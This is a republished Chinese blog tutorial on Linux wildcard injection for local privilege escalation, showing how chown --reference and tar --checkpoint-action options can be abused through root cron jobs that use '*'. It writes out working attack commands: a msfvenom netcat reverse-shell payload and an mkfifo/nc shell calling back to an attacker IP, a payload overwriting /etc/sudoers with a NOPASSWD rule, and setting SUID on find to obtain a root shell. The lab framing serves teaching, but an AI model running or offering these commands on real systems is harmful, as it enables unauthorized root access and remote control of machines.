利用萬用字元進行Linux本地提權
本文轉載自,由FB小編 secist 編譯
本文我將為大家介紹一種非常有趣而又古老的UNIX駭客技術“萬用字元注入”。雖說這已不是什麼新技術了,但在後滲透利用中仍可能成為你手中的一把制勝利器。相信閱讀本文後,你將會對萬用字元有更加全面及深入的認識。好了,話不多說讓我們開始吧!
萬用字元
萬用字元是一種特殊語句,主要有型號(*)和問號(?),用來對字串進行模糊匹配(比如檔名,引數名)。當查詢資料夾時,可以使用它來代替一個或多個真正字元;當不知道真正字元或懶得輸入完整名字時,常常使用萬用字元代替一個或多個真正的字元。
終端裡面輸入的萬用字元是由Shell處理的,不是由所涉及到命令語句處理的,它只會出現在命令的“引數值”裡(它不用在命令名稱裡,命令不記得,那就用Tab補全)。當Shell在“引數值”中遇到了萬用字元時,Shell會將其當作路徑或檔名去在磁碟上搜尋可能的匹配:若符合要求的匹配存在,則進行代換(路徑擴充套件);否則就將該萬用字元作為一個普通字元傳遞給“命令”,然後再由命令進行處理。總之,萬用字元實際上就是一種Shell實現的路徑擴充套件功能。在萬用字元被處理後,Shell會先完成該命令的重組,然後再繼續處理重組後的命令,直至執行該命令。
部分萬用字元:
* 代表任意多個字元
? 代表任意單個字元
[ ] 代表“[”和“]”之間的某一個字元,比如[0-9]可以代表0-9之間的任意一個數字,[a-zA-Z]可以代表a-z和A-Z之間的任意一個字母,字母區分大小寫。
– 代表一個字元。
~ 使用者的根目錄。
示例1
首先,我們來建立一個新目錄“wild”,並透過echo命令在每個建立的檔案中寫入一行內容。
cd /Desktop
mkdir wild cd wild echo "Hello Friends" > file1 echo "This is wildcard Injection" >file2 echo "take help" > --help
接著,使用cat命令嘗試開啟我們所建立的這3個檔案:
cat file1
cat file 2 cat --help
你會發現,前兩個檔案我們可以正常開啟並顯示我們所寫入的內容。但-help檔案中的內容卻無法讀取,而是從自己的庫中呼叫了自己的-help選項輸出,這種技巧被稱之為Wildcard wildness(萬用字元在野)。
透過Chown劫持檔案所有者
Linux/Unix 是多使用者多工作業系統,所有的檔案皆有其擁有者(Owner)。利用 chown命令 可以將檔案的擁有者加以改變。一般來說,這個命令只能由系統管理者(root)使用,一般使用者沒有許可權來改變別人的檔案的擁有者,也沒有許可權可以將自己的檔案的擁有者改設為別人。只有系統管理者(root)才有這樣的許可權。
超級管理員使用者 (root) – 執行管理級任務,例如執行chown命令。
非root使用者1(raj) – 執行普通任務,如建立檔案
非root使用者2(aarti) – 執行普通任務,如建立檔案
惡意使用者(Ignite) – 執行可導致檔案所有者劫持的Chown檔案引用技巧等任務。
在下圖中你可以看到,所有PHP檔案的所有者均為“raj”使用者。此時使用者ignite可以在同一目錄中執行以下命令,使用檔案引用技巧來劫持檔案所有者。
–reference=<參考檔案或目錄>:把指定檔案或目錄的所有者與所屬組,統統設定成和參考檔案或目錄的所有者與所屬組相同。
cd ls -al echo "" > my.php echo > --reference=my.php
當root使用者使用萬用字元修改所有PHP檔案所有權時,ignite使用者將取得所有檔案間接所有權。
如果此時root使用者執行chown將所有PHP的所有權賦予使用者aarti時,將會發生錯誤,,ignite使用者將自動獲取所有PHP檔案的所有權。
chown -R aarti:aarti *.php ls -al
如果你對chown的開關選項有深入的瞭解的話,那麼你一定知道下面這個選項。
–reference=RFILE(直接引用某個檔案的屬性來替換自己的後設資料)
在本文的例子中使用者ignite執行以下命令:
echo "" > my.php
echo > --reference=my.php
然後,root使用者透過萬用字元來修改檔案所有權。chown命令列採用了主觀的’-reference = .my.php’檔案,並將其作為選項傳遞給命令列中的chown命令。
Tar的後利用技巧(階段1)
Lab-Setup
Tar命令是Linux/Unix中非常常用的一個命令。藉助它,我們可以對任何目錄進行壓縮備份。例如,建立一個新目錄並賦予其777許可權,然後建立一些檔案。
mkdir html chmod 777 html
cd html
touch index.html
touch raj
touch file.txt
現在使用crontab建立一個定時任務,即每隔1分鐘從/var/backups裡面備份/html一次。
nano /etc/crontab
*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
執行以下命令來驗證定時任務是否正常運作。
cd /var/backup
ls
Tar萬用字元注入(方法1)
提權
啟動攻擊機並進入至對目標系統的提權階段。這裡假設我透過ssh成功登入到受害者的機器,並以非root使用者許可權訪問其終端。 然後開啟crontab檢視是否有任何計劃任務。
cat /etc/crontab
可以看到,這些任務都是以root許可權執行的。其中有一個和tar有關的並且每分鐘執行一次的計劃任務,讓我們嘗試來利用它。
開啟一個新終端,使用msfvenom生成nc反彈一句話,命令如下。
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
複製payload並將其貼上至受害者的shell中。
nc -lvp 8888
現在貼上上面複製的payload,並在受害者的tty shell中執行以下命令。
echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1
tar cf archive.tar *
上述命令幫助tar命令在第一個檔案歸檔後執行檔案shell.sh。由於在crontab中tar是以root許可權執行的,因此將會產生netcat shell並反彈至攻擊機的8888埠。回到偵聽端,你將在一分鐘後獲取到受害者機器的反向連線。
id
whoami
如果你對chown的選項開關有深入的瞭解的話,那麼你一定知道下面這兩個選項。
–checkpoint[=NUMBER] 顯示每個Numbers記錄的進度訊息(預設值為10)
–checkpoint-action=ACTION 在每個checkpoint(檢查點)上執行ACTION
這裡的‘–checkpoint-action’選項,用於指定到達檢查點時將要執行的程式,這將允許我們執行一個任意的命令。因此,選項‘–checkpoint=1’ 和 ‘–checkpoint-action=exec=sh shell.sh’作為命令列選項交給了tar程式。
Tar的後利用技巧(階段2)
Lab Setup
這裡我將為大家展示多種壓縮備份的方法,以及特權提升技術。使用tar命令對目錄進行壓縮備份,例如,建立一個新目錄並賦予其777許可權,然後建立一些檔案。
cd /tmp
mkdir data cd data echo "" > f1 echo "" > f2 echo "" > f3
ls
現在在其他目錄中編寫一個bash指令碼,透過tar命令備份/tmp/data。
mkdir info cd info nano script.sh
chmod 777 script.sh
#!/bin/bash cd /tmp/data
tar cf /backup/backup.tgz *
現在在crontab中建立一個計劃任務,即每隔1分鐘從/var/backups裡面備份/html一次。
nano /etc/crontab */1 * * * * root /info/script.sh
1分鐘後你會發現,backup.tgz檔案生成並被儲存在了info目錄中。
Tar萬用字元注入
提權
啟動攻擊機並進入至對目標系統的提權階段。這裡假設我透過ssh成功登入到受害者的機器,並以非root使用者許可權訪問其終端。 然後開啟crontab檢視是否有任何計劃任務。
cat /etc/crontab
可以看到,這些任務都是以root許可權執行的,其中有一個每分鐘執行一次的bash指令碼任務。透過cat命令讀取內容後可得知,這裡我們可以使用tar萬用字元注入利用。
開啟一個新終端,使用msfvenom生成nc反彈一句話,命令如下。
複製payload並將其貼上至受害者的shell中。
nc -lvp 8888
現在貼上上面複製的payload,並在受害者的tty shell中執行以下命令。
上述命令幫助tar命令在第一個檔案歸檔後執行檔案shell.sh。由於在crontab中tar是以root許可權執行的,因此將會產生netcat shell並反彈至攻擊機的8888埠。回到偵聽端,你將在一分鐘後獲取到受害者機器的反向連線。
whoami cd /root pwd
Tar萬用字元注入(方法2)
提權
攻擊者希望藉助萬用字元注入攻擊,獲取目標系統的最高訪問許可權。因此,他們會嘗試在tar的幫助下注入一些惡意程式碼用於root訪問。這裡有多種獲取root訪問許可權的方法,你可以應用以下技術來提升特權。
嘗試透過新增sudoers檔案為非root使用者授予sudo許可權,命令如下。
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh echo "" > "--checkpoint-action=exec=sh demo.sh" echo "" > --checkpoint=1
tar cf archive.tar *
在上述命令的幫助下,我們嘗試賦予ignite使用者root許可權,並在1分鐘後成功升級為了root許可權賬戶。
sudo -l sudo bash
whoami
Tar萬用字元注入(方法3)
提權
我們還可以嘗試為任意的系統二進位制檔案啟用SUID位,同樣地,你可以再次使用以下命令來獲取root訪問許可權。
echo "chmod u+s /usr/bin/find" > test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami
除了以上提到的這些方法外,其實還有很多tar注入提權的技巧和方法。希望這篇文章能幫助你開啟思路。當然,如果你有更好更巧妙方法的話,也希望你不要吝嗇把它分享給我和大家!
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31510736/viewspace-2157417/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Linux提權————利用SUID提權LinuxUI
- Linux 提權-核心利用Linux
- 在Windows低許可權下利用服務進行提權Windows
- 利用for命令提權
- Linux利用UDF庫實現Mysql提權LinuxMySql
- [MYSQL-8]用萬用字元進行過濾MySql字元
- Potato家族本地提權分析
- Linux 提權Linux
- Linux提權Linux
- Linux提權-70種sudo提權彙總Linux
- Linux 提權-CapabilitiesLinux
- linux sudo提權Linux
- Linux提權————Linux下三種不同方式的提權技巧Linux
- Linux 提權-MySQL UDFLinuxMySql
- Linux 提權-LXD 容器Linux
- Linux 提權-Docker 容器LinuxDocker
- Linux 提權-NFS 共享LinuxNFS
- Linux 提權-Cron JobsLinux
- 用於提權的Linux命令,即“xxd”Linux
- 提權系列(二)----Windows Service 伺服器提權之Mssql提權,GetPass提權,hash提權,LPK提權Windows伺服器SQL
- Linux萬用字元Linux字元
- Linux 萬用字元Linux字元
- Linux提權-許可權升級Linux
- Linux-SUID提權LinuxUI
- Linux 提權-Sudo_1Linux
- Linux 提權-Sudo_2Linux
- 利用Serv-u提權的簡單思路
- Linux萬用字元(轉)Linux字元
- CVE-2014-0038核心漏洞原理與本地提權利用程式碼實現分析
- linux 普通使用者提權Linux
- Linux、Windows提權命令速記LinuxWindows
- Linux 提權-密碼搜尋Linux密碼
- Windows提權實戰——————3、PcAnyWhere提權WindowsPCA
- 重要預警 | Ubuntu 16.04 4.4 系列核心本地提權漏洞Ubuntu
- 利用LINUX進行遠端辦公(轉)Linux
- Linux使用者提權管理方案Linux
- [提權禁區] SQL語句利用xp_cmdshell獲取許可權SQL
- Linux Shell 萬用字元、元字元、轉義符使用Linux字元